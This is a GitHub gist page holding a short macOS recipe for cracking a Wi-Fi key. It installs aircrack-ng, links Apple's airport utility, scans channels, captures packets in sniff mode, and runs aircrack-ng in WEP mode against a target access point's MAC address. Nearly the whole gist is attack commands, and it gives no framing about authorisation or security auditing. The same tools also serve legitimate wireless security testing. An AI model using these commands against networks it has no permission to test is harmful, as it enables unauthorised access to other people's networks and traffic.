Skip to content

Instantly share code, notes, and snippets.

@verbaleks
Forked from victorreyesh/Aircrack Commands
Created September 19, 2018 16:02
Show Gist options
  • Save verbaleks/761556ec1bdb76757133ce7c329a3917 to your computer and use it in GitHub Desktop.
Save verbaleks/761556ec1bdb76757133ce7c329a3917 to your computer and use it in GitHub Desktop.

Revisions

  1. @victorreyesh victorreyesh created this gist Sep 12, 2013.
    13 changes: 13 additions & 0 deletions Aircrack Commands
    Original file line number Diff line number Diff line change
    @@ -0,0 +1,13 @@
    //Install Macports.
    //Install aircrack-ng:
    sudo port install aircrack-ng
    //Install the latest Xcode, with the Command Line Tools.
    //Create the following symlink:
    sudo ln -s /System/Library/PrivateFrameworks/Apple80211.framework/Versions/Current/Resources/airport /usr/sbin/airport
    //Figure out which channel you need to sniff:
    sudo airport -s

    sudo airport en1 sniff [CHANNEL]
    //New Terminal Window
    aircrack-ng -1 -a 1 -b [TARGET_MAC_ADDRESS] [CAP_FILE]
    // Notes: the cap_file will be located in the /tmp/airportSniff*.cap.